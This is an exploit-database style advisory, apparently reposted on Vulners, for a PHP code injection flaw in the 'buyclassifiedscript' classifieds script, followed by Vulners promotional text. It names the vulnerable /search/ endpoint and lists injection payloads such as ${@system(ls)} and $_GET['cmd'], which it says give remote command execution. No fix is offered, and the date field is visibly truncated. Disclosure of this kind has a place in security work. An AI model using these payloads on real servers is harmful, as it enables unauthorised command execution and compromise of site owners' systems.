# Exploit Title: buyclassifiedscript PHP code injection vulnerability
# Date: 25.11.201
# Exploit Author: d3b4g
# Vendor Homepage: http://buyclassifiedscript.com/
# Tested on:Windows 7
# Blog: d3b4g.me
----------------------------------------------------------------------------------
This vulnerability allows an attacker to inject custom code
into the server side scripting engine.It's possible to get a remote cmd by taking
advantage of this vulnerability.
Vulnerable function:
/search/
() php code excution :
http://localhost/path/search {Inject malicious code}
() example of code you can inject:
// ${@system(ls)}
${@print(hello)}
$_GET['cmd']
//
-end-Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation